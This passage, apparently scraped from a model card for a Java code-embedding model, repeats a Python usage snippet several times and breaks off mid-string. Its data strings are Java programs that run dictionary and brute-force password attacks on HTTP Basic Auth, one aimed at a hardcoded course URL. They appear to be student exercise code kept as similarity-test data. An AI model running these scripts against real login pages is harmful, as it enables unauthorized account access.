1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if 